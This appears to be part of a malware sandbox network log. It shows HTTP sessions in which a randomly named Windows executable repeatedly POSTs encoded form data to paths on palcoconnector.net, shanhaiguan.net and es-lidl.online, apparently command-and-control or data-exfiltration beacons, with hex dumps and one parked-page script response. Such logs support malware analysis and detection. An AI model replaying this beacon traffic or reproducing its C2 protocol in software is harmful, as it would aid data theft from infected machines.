tpTd=DSZQwtuPtL5jSr4HFOUQcbohnRvP0ZA5aK8HjwYNQ6DQJkA203dQ0dNbP62mx2946EcE1wx5jRVXw2W4i/Ei5/AUr/JEsg+l+3Ky9USxF+9q89WwkmndQvnB2a7Z1NkL8cRxsCVuIB6HvxmU6Ov9dN43mjC6Rie0jbp4bqzvsG+lN+gCpt7bHmHYZeJQZqrZZaTh+SPoDhNRu17pqg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	60842	208.91.197.27	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:35:25.867177963 CEST	1786	OUT	POST /bnrz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.palcoconnector.net Origin: http://www.palcoconnector.net Cache-Control: max-age=0 Content-Length: 1229 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.palcoconnector.net/bnrz/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 44 53 5a 51 77 74 75 50 74 4c 35 6a 53 72 34 48 46 4f 55 51 63 62 6f 68 6e 52 76 50 30 5a 41 35 61 4b 38 48 6a 77 59 4e 51 36 4c 51 4a 32 49 32 31 51 68 51 31 64 4e 62 4f 36 32 6e 78 32 39 6c 36 45 30 2b 31 77 39 48 6a 58 5a 58 78 55 75 34 6b 4c 51 69 73 76 41 55 69 66 4a 4a 69 41 2f 6e 2b 33 36 75 39 55 43 78 46 2b 39 71 38 38 6d 77 30 6e 6e 64 57 76 6e 41 31 61 37 46 78 4e 6c 6d 38 59 46 48 73 43 42 55 4c 79 69 48 75 52 57 55 2f 37 37 39 56 4e 34 31 68 6a 44 6c 52 69 44 30 6a 62 31 53 62 72 58 4a 73 46 75 6c 50 50 52 2b 75 64 6e 34 52 51 4c 61 57 4e 35 54 57 36 6a 75 42 5a 57 59 72 53 2f 78 51 6b 4d 32 71 52 33 69 35 47 31 41 59 41 65 43 38 2f 79 56 61 4b 57 71 44 65 70 63 7a 41 39 2b 46 74 4b 43 34 42 64 75 48 4a 69 35 55 38 4a 53 34 64 46 4a 6f 53 6a 66 39 2b 74 55 41 4e 36 70 35 53 55 6f 31 37 54 6d 52 31 72 38 43 67 6b 38 71 62 67 6e 58 4f 31 39 37 2b 5a 72 57 47 66 75 66 56 65 55 64 75 43 79 57 34 68 6d 46 70 7a 75 5a 34 32 65 7a 68 38 71 79 41 52 7a 4c 6b 7a 30 41 69 51 6a 67 [TRUNCATED] Data Ascii: tpTd=DSZQwtuPtL5jSr4HFOUQcbohnRvP0ZA5aK8HjwYNQ6LQJ2I21QhQ1dNbO62nx29l6E0+1w9HjXZXxUu4kLQisvAUifJJiA/n+36u9UCxF+9q88mw0nndWvnA1a7FxNlm8YFHsCBULyiHuRWU/779VN41hjDlRiD0jb1SbrXJsFulPPR+udn4RQLaWN5TW6juBZWYrS/xQkM2qR3i5G1AYAeC8/yVaKWqDepczA9+FtKC4BduHJi5U8JS4dFJoSjf9+tUAN6p5SUo17TmR1r8Cgk8qbgnXO197+ZrWGfufVeUduCyW4hmFpzuZ42ezh8qyARzLkz0AiQjgsQ3e50uoe4cKHN7wehzcLfeT819cg3lLMrDSoKMTe7iREpTGVjWDiTR7TVgDOJHDReLctWGnSzC7VT/B9WujSNUE0HYlgTLVDtzYZmVFK8gS9ubi7jrQE8sRMAZmCB1dmsSGlTLiTt4diglHqOuHNROYZwdBPeGFuPI2OutwNMkpIqXL72iLq8hBJPZORaBOF7NeqHoXLEi8JvveWL3qd3u2w6afgmMrM21aZiA5XMV1n6d6vlyHTEm8ROVyX9IxKJlPQSXtcnYuqruGFrZP9FksJYQLthYdR6H9X2OhH7wu07w1/aTCH0l/7SQ+wHJ2Gfs91MLYP79l31yLNruhhcVKl0YZDaCWZkdF1VrV9R8wZ3SJrKDGUJGjY1dD3xj4rMTyBWVrfy9tq97YmpfA2pyj0POzsqRAs5X2pvtVjLSzOXsUProvJo8wSy+5JNduPbLzQejSbl1QF+1KXmObrOcKO8gFEy6iYUxzfBv1iZ2zgfPlWuOSVaQI1NEKlR1jQI1Qlnj8sECb+2zF+Gr/mO8uNhkEYdD3GedGCrQin+/oEQLw4beuukcaA/xzjC+mEh0bD112wDGLbqkcrp8n7OjaSqSOzMO9tdeQa+1i+bESLS+DxwhjgiIZfe8npZz4yfNZGMLlNY2cQLrggh3HAwmICl4OPxvbnY [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	60843	208.91.197.27	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:35:28.410914898 CEST	479	OUT	GET /bnrz/?tpTd=OQxwzbuOtqgqEYELNcMucZtHnRjB34c8S/VejUlVZtuveUVj7y4E7KtMGd+fy1MLwhM03wpJ8ksC3Umpmq48p+wh68NaozaF8Wex7USlPt5ZhMWe3g==&WX=rnWllP5PLlhLLtj HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.palcoconnector.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Oct 8, 2024 15:35:29.515738964 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 13:35:28 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Set-Cookie: vsid=908vr47594012900756934; expires=Sun, 07-Oct-2029 13:35:29 GMT; Max-Age=157680000; path=/; domain=www.palcoconnector.net; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_eeOY20v5H5Oq/uqAcmU3jU1VXFZVeIlL7RScKo7CsXQgAYiRiYpYfV0QsvrldM8t5IEa6SxtbsI3NQ9r0dxpXg== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Connection: close Data Raw: 61 31 37 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 Data Ascii: a172<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net
Oct 8, 2024 15:35:29.515763044 CEST	1236	IN	Data Raw: 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e Data Ascii: "> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in
Oct 8, 2024 15:35:29.515779018 CEST	1236	IN	Data Raw: 69 6f 6e 28 6a 29 7b 69 66 28 74 79 70 65 6f 66 28 6a 29 21 3d 22 62 6f 6f 6c 65 61 6e 22 29 7b 6a 3d 74 72 75 65 7d 69 66 28 6a 26 26 74 79 70 65 6f 66 28 63 6d 70 5f 67 65 74 6c 61 6e 67 2e 75 73 65 64 6c 61 6e 67 29 3d 3d 22 73 74 72 69 6e 67 Data Ascii: ion(j){if(typeof(j)!="boolean"){j=true}if(j&&typeof(cmp_getlang.usedlang)=="string"&&cmp_getlang.usedlang!==""){return cmp_getlang.usedlang}var g=window.cmp_getsupportedLangs();var c=[];var f=location.hash;var e=location.search;var a="language
Oct 8, 2024 15:35:29.515791893 CEST	1236	IN	Data Raw: 75 61 67 65 73 22 20 69 6e 20 68 29 7b 66 6f 72 28 76 61 72 20 71 3d 30 3b 71 3c 68 2e 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 6e 67 75 61 67 65 73 2e 6c 65 6e 67 74 68 3b 71 2b 2b 29 7b 69 66 28 68 2e 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 6e 67 75 61 Data Ascii: uages" in h){for(var q=0;q<h.cmp_customlanguages.length;q++){if(h.cmp_customlanguages[q].l.toUpperCase()==o.toUpperCase()){o="en";break}}}b="_"+o}function x(i,e){var w="";i+="=";var s=i.length;var d=location;if(d.hash.indexOf(i)!=-1){w=d.hash.
Oct 8, 2024 15:35:29.515803099 CEST	896	IN	Data Raw: 68 2e 63 6d 70 5f 70 61 72 61 6d 73 3a 22 22 29 2b 28 75 2e 63 6f 6f 6b 69 65 2e 6c 65 6e 67 74 68 3e 30 3f 22 26 5f 5f 63 6d 70 66 63 63 3d 31 22 3a 22 22 29 2b 22 26 6c 3d 22 2b 6f 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 22 26 6f 3d 22 2b Data Ascii: h.cmp_params:"")+(u.cookie.length>0?"&__cmpfcc=1":"")+"&l="+o.toLowerCase()+"&o="+(new Date()).getTime();j.type="text/javascript";j.async=true;if(u.currentScript&&u.currentScript.parentElement){u.currentScript.parentElement.appendChild(j)}else
Oct 8, 2024 15:35:29.515814066 CEST	1236	IN	Data Raw: 74 29 7b 75 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 65 6c 73 65 7b 69 66 28 75 2e 62 6f 64 79 29 7b 75 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 Data Ascii: t){u.currentScript.parentElement.appendChild(j)}else{if(u.body){u.body.appendChild(j)}else{var t=v("body");if(t.length==0){t=v("div")}if(t.length==0){t=v("span")}if(t.length==0){t=v("ins")}if(t.length==0){t=v("script")}if(t.length==0){t=v("hea
Oct 8, 2024 15:35:29.515825033 CEST	1236	IN	Data Raw: 6e 67 74 68 29 7b 72 65 74 75 72 6e 20 5f 5f 63 6d 70 2e 61 7d 65 6c 73 65 7b 69 66 28 61 5b 30 5d 3d 3d 3d 22 70 69 6e 67 22 29 7b 69 66 28 61 5b 31 5d 3d 3d 3d 32 29 7b 61 5b 32 5d 28 7b 67 64 70 72 41 70 70 6c 69 65 73 3a 67 64 70 72 41 70 70 Data Ascii: ngth){return __cmp.a}else{if(a[0]==="ping"){if(a[1]===2){a[2]({gdprApplies:gdprAppliesGlobally,cmpLoaded:false,cmpStatus:"stub",displayStatus:"hidden",apiVersion:"2.2",cmpId:31},true)}else{a[2](false,true)}}else{if(a[0]==="getUSPData"){a[2]({v
Oct 8, 2024 15:35:29.515837908 CEST	1236	IN	Data Raw: 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 5f 5f 67 70 70 2e 65 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 69 66 28 5f 5f 67 70 70 2e 65 5b 64 5d 2e 69 64 3d 3d 65 29 7b 5f 5f 67 70 70 2e 65 5b 64 5d 2e 73 70 6c 69 63 65 28 64 2c 31 29 3b 68 3d 74 72 Data Ascii: for(var d=0;d<__gpp.e.length;d++){if(__gpp.e[d].id==e){__gpp.e[d].splice(d,1);h=true;break}}return{eventName:"listenerRemoved",listenerId:e,data:h,pingData:window.cmp_gpp_ping()}}else{if(g==="getGPPData"){return{sectionId:3,gppVersion:1,sectio
Oct 8, 2024 15:35:29.516009092 CEST	1236	IN	Data Raw: 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 3a 65 2c 22 2a 22 29 7d 2c 62 2e 70 61 72 61 6d 65 74 65 72 29 7d 69 66 28 74 79 70 65 6f 66 28 63 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 63 21 3d 3d 6e 75 6c Data Ascii: tMessage(a?JSON.stringify(e):e,"*")},b.parameter)}if(typeof(c)==="object"&&c!==null&&"__gppCall" in c){var b=c.__gppCall;window.__gpp(b.command,function(h,g){var e={__gppReturn:{returnValue:h,success:g,callId:b.callId}};d.source.postMessage(a?
Oct 8, 2024 15:35:29.516020060 CEST	235	IN	Data Raw: 63 6d 70 5f 61 64 64 46 72 61 6d 65 28 22 5f 5f 67 70 70 4c 6f 63 61 74 6f 72 22 29 7d 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 53 74 75 62 28 22 5f 5f 63 6d 70 22 29 3b 69 66 28 21 28 22 63 6d 70 5f 64 69 73 61 62 6c 65 74 63 66 22 20 69 6e 20 Data Ascii: cmp_addFrame("__gppLocator")}window.cmp_setStub("__cmp");if(!("cmp_disabletcf" in window)\|\|!window.cmp_disabletcf){window.cmp_setStub("__tcfapi")}if(!("cmp_disableusp" in window)\|\|!window.cmp_disableusp){window.cmp_setStub("__uspapi")}
Oct 8, 2024 15:35:29.521941900 CEST	1236	IN	Data Raw: 69 66 28 21 28 22 63 6d 70 5f 64 69 73 61 62 6c 65 67 70 70 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 21 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 69 73 61 62 6c 65 67 70 70 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 47 70 70 53 74 75 62 28 22 5f Data Ascii: if(!("cmp_disablegpp" in window)\|\|!window.cmp_disablegpp){window.cmp_setGppStub("__gpp")};</script><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://www.palcoconnector.net/px.js?ch=1"></script><script t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	60844	156.242.132.82	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:35:35.399240017 CEST	740	OUT	POST /b6g5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.shanhaiguan.net Origin: http://www.shanhaiguan.net Cache-Control: max-age=0 Content-Length: 193 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.shanhaiguan.net/b6g5/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 58 2b 34 4b 50 56 34 76 6a 79 46 4e 38 52 72 6b 52 69 70 76 4f 36 47 33 42 49 6b 6e 57 66 54 36 36 61 37 78 6c 42 61 61 76 35 43 41 45 6a 7a 4f 79 43 69 76 36 46 64 57 77 65 2f 30 6c 2f 57 4f 32 57 33 44 45 48 68 73 76 7a 41 79 36 4d 46 67 4b 7a 6e 32 76 43 52 72 6d 68 66 50 6a 63 46 44 78 55 6a 41 49 35 32 69 56 6c 32 33 6c 53 78 47 55 75 31 4e 68 53 71 39 56 5a 6a 46 73 6a 56 6f 2f 6a 48 41 71 6c 56 6d 44 59 76 37 4c 30 76 66 5a 78 6d 67 70 35 6a 4f 62 67 4b 79 56 30 39 4b 69 30 59 2b 47 30 59 70 43 39 36 6d 75 66 4b 4e 4b 6c 64 73 51 33 48 71 71 72 77 61 Data Ascii: tpTd=X+4KPV4vjyFN8RrkRipvO6G3BIknWfT66a7xlBaav5CAEjzOyCiv6FdWwe/0l/WO2W3DEHhsvzAy6MFgKzn2vCRrmhfPjcFDxUjAI52iVl23lSxGUu1NhSq9VZjFsjVo/jHAqlVmDYv7L0vfZxmgp5jObgKyV09Ki0Y+G0YpC96mufKNKldsQ3Hqqrwa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	60845	156.242.132.82	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:35:37.943063021 CEST	764	OUT	POST /b6g5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.shanhaiguan.net Origin: http://www.shanhaiguan.net Cache-Control: max-age=0 Content-Length: 217 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.shanhaiguan.net/b6g5/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 58 2b 34 4b 50 56 34 76 6a 79 46 4e 38 78 62 6b 54 42 42 76 66 61 47 30 45 49 6b 6e 64 2f 54 2b 36 61 33 78 6c 41 75 77 76 4c 6d 41 45 44 44 4f 67 32 57 76 33 6c 64 57 34 2b 2f 39 34 50 57 52 32 57 72 4c 45 48 64 73 76 7a 55 79 36 4a 35 67 4a 45 4c 31 74 53 52 70 70 42 66 4e 73 38 46 44 78 55 6a 41 49 35 6a 4a 56 6c 75 33 69 6d 31 47 55 4c 42 43 2b 69 71 2b 53 5a 6a 46 6f 6a 56 73 2f 6a 48 75 71 6c 6c 4d 44 65 6a 37 4c 78 44 66 61 67 6d 6a 6e 35 6a 49 45 77 4c 77 46 6d 39 46 72 6d 30 61 4a 31 51 63 51 37 69 4f 74 2b 71 54 62 58 55 33 46 67 48 4e 74 4d 35 79 56 61 4c 59 52 6a 38 30 6f 32 6e 2f 51 4c 43 42 31 37 36 72 49 51 3d 3d Data Ascii: tpTd=X+4KPV4vjyFN8xbkTBBvfaG0EIknd/T+6a3xlAuwvLmAEDDOg2Wv3ldW4+/94PWR2WrLEHdsvzUy6J5gJEL1tSRppBfNs8FDxUjAI5jJVlu3im1GULBC+iq+SZjFojVs/jHuqllMDej7LxDfagmjn5jIEwLwFm9Frm0aJ1QcQ7iOt+qTbXU3FgHNtM5yVaLYRj80o2n/QLCB176rIQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	60846	156.242.132.82	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:35:40.489506006 CEST	1777	OUT	POST /b6g5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.shanhaiguan.net Origin: http://www.shanhaiguan.net Cache-Control: max-age=0 Content-Length: 1229 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.shanhaiguan.net/b6g5/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 58 2b 34 4b 50 56 34 76 6a 79 46 4e 38 78 62 6b 54 42 42 76 66 61 47 30 45 49 6b 6e 64 2f 54 2b 36 61 33 78 6c 41 75 77 76 4c 75 41 45 77 4c 4f 78 68 4b 76 32 6c 64 57 37 2b 2f 77 34 50 58 4e 32 57 7a 50 45 48 51 62 76 77 73 79 72 62 42 67 64 67 66 31 33 43 52 70 69 68 66 4f 6a 63 46 61 78 55 7a 4d 49 35 7a 4a 56 6c 75 33 69 67 5a 47 54 65 31 43 34 69 71 39 56 5a 6a 5a 73 6a 55 78 2f 6a 50 59 71 6b 52 32 57 2b 44 37 4c 52 54 66 57 79 4f 6a 76 35 6a 4b 48 77 4c 53 46 6d 77 46 72 6d 70 6c 4a 31 6b 6c 51 38 6d 4f 38 49 62 33 4e 56 59 53 47 43 37 4b 73 37 46 79 63 76 37 73 54 33 59 33 33 55 76 75 42 2b 43 51 77 59 76 2f 65 76 62 76 44 54 6a 5a 57 54 54 7a 71 39 4e 30 64 6e 59 6b 4d 34 31 52 64 2b 37 53 5a 68 2f 44 62 77 47 73 57 64 41 36 70 4b 52 34 4f 76 36 48 75 68 63 53 67 76 65 4e 75 2f 73 41 31 72 4f 36 30 64 34 38 47 54 78 6e 66 41 6b 59 2f 70 6e 78 5a 30 6c 41 48 5a 48 43 4b 65 46 52 42 6f 36 42 62 2f 63 59 4b 30 2b 36 6e 66 4c 32 51 33 30 75 63 37 50 39 35 34 31 31 79 34 56 6b 2f [TRUNCATED] Data Ascii: tpTd=X+4KPV4vjyFN8xbkTBBvfaG0EIknd/T+6a3xlAuwvLuAEwLOxhKv2ldW7+/w4PXN2WzPEHQbvwsyrbBgdgf13CRpihfOjcFaxUzMI5zJVlu3igZGTe1C4iq9VZjZsjUx/jPYqkR2W+D7LRTfWyOjv5jKHwLSFmwFrmplJ1klQ8mO8Ib3NVYSGC7Ks7Fycv7sT3Y33UvuB+CQwYv/evbvDTjZWTTzq9N0dnYkM41Rd+7SZh/DbwGsWdA6pKR4Ov6HuhcSgveNu/sA1rO60d48GTxnfAkY/pnxZ0lAHZHCKeFRBo6Bb/cYK0+6nfL2Q30uc7P95411y4Vk/Ax4rOf7T07WYVQXtbVX4sLbU9lGxgqyuxBUEiXClwge0LMT8sbSN5OLOV7RlF/dXDSXPPxfbAywNRLDHlL0Qx7w7vpWqUp2FIelQqo0bEvRZ2l9J3oHEvkyRUvhQNITls/tGw2dvIHku6ezjpiZnL28kObc1SjlxNESR4LkCySRCGr1UDHkdHg92+Q7voOEbZ51plamU7wewx8bj8KfUa8UQqhDSKDMBYe3Z51xzvhLNO9NC8Cv+EXWGOwo4HgNfduX9j38o+sZPF2i8L+eccPzehWy1aMsMd1J0IGqbaIgIU2Qy/SqmOey1glmhxA5yW4NV/RHXMKmuH7eoGJB5JLe3pEqxcjBLMh9ophYhlFQMmkcSsG9cCurVbtcXXfFcJcghvVVWk8Nnva9TJtErxQJWs2NWfJwS4nsg8PS4pQrO+AueZ1WXvpLwtJKAKO1MglVJz58gXi+zKnyPY8BxZ6d3iY2OroNRx49FUXS03RYlzAFI26h/yz54irOijkLha853bg35LFQ8CsRgHwuU7yhSnPqw8fC57/FhZ2x1erCdlOqxkNEA9y87DQWEufZBoNpGUOaEIvow4/HMlOV2CGk3DfNnGDDzbnDgpI6MBZx+TTTMXEsUKUIY3L07K/pqf4rpxLzICxc2lIEuG0et/vc7doeYjL9+tT [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	60847	156.242.132.82	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:35:43.033276081 CEST	476	OUT	GET /b6g5/?tpTd=a8QqMioE13Jt2iPiOClkfJLiI6soJM7xy7KAtya8ruOCNgqe2jC0xyltzPPw7ePD7gDMaG5P8Bx9i7otBFrSmSNv5WmdoflN7m2YOZj8dE3cyj5SIw==&WX=rnWllP5PLlhLLtj HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.shanhaiguan.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	60848	84.32.84.32	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:36:17.746534109 CEST	737	OUT	POST /n2dv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.es-lidl.online Origin: http://www.es-lidl.online Cache-Control: max-age=0 Content-Length: 193 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.es-lidl.online/n2dv/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 57 4d 77 50 58 6b 67 50 2f 35 70 36 57 43 2f 4b 6c 76 75 78 4b 4d 31 4a 7a 39 51 77 4c 47 41 68 32 35 62 42 51 4c 4e 5a 54 55 6b 69 6c 51 35 4f 4a 41 55 32 31 33 4b 59 50 30 62 78 71 79 37 58 4d 52 2b 43 64 67 77 79 46 66 30 61 69 4a 44 71 79 74 30 6d 68 63 4c 51 2f 65 56 42 47 64 4f 63 47 36 57 53 70 5a 2b 66 61 4c 68 63 35 58 4c 47 70 4d 59 57 7a 30 76 4b 76 39 36 34 37 74 33 4f 32 42 6a 4e 6e 2b 4d 78 6d 65 2f 76 66 44 69 76 37 42 6d 68 6f 61 64 39 42 76 44 71 65 4f 6e 6f 56 6e 68 6c 61 61 2f 43 51 5a 5a 30 39 2b 47 32 4f 30 6a 67 67 37 42 76 75 71 43 68 Data Ascii: tpTd=WMwPXkgP/5p6WC/KlvuxKM1Jz9QwLGAh25bBQLNZTUkilQ5OJAU213KYP0bxqy7XMR+CdgwyFf0aiJDqyt0mhcLQ/eVBGdOcG6WSpZ+faLhc5XLGpMYWz0vKv9647t3O2BjNn+Mxme/vfDiv7Bmhoad9BvDqeOnoVnhlaa/CQZZ09+G2O0jgg7BvuqCh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	60849	84.32.84.32	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:36:20.289485931 CEST	761	OUT	POST /n2dv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.es-lidl.online Origin: http://www.es-lidl.online Cache-Control: max-age=0 Content-Length: 217 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.es-lidl.online/n2dv/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 57 4d 77 50 58 6b 67 50 2f 35 70 36 45 53 50 4b 6a 4f 75 78 4e 73 31 4b 32 39 51 77 51 57 41 6c 32 35 48 42 51 4f 30 43 53 69 55 69 6c 78 4a 4f 62 31 30 32 32 33 4b 59 45 55 62 77 30 43 37 63 4d 52 6a 33 64 69 6b 79 46 62 6b 61 69 4a 7a 71 7a 65 4d 68 6e 4d 4c 57 7a 2b 56 35 62 74 4f 63 47 36 57 53 70 5a 36 68 61 4c 35 63 35 6e 58 47 71 75 67 52 2b 55 75 34 2f 4e 36 34 77 4e 33 43 32 42 6a 56 6e 39 49 49 6d 63 48 76 66 48 71 76 37 54 4f 75 69 61 63 34 46 76 44 31 52 4f 69 77 5a 32 39 33 63 4a 6e 59 51 6f 4a 50 7a 2f 6d 6f 66 47 71 37 31 73 42 49 70 4e 4c 4a 56 39 4d 52 44 76 6e 76 42 4c 62 32 32 49 6e 61 6a 30 64 57 67 41 3d 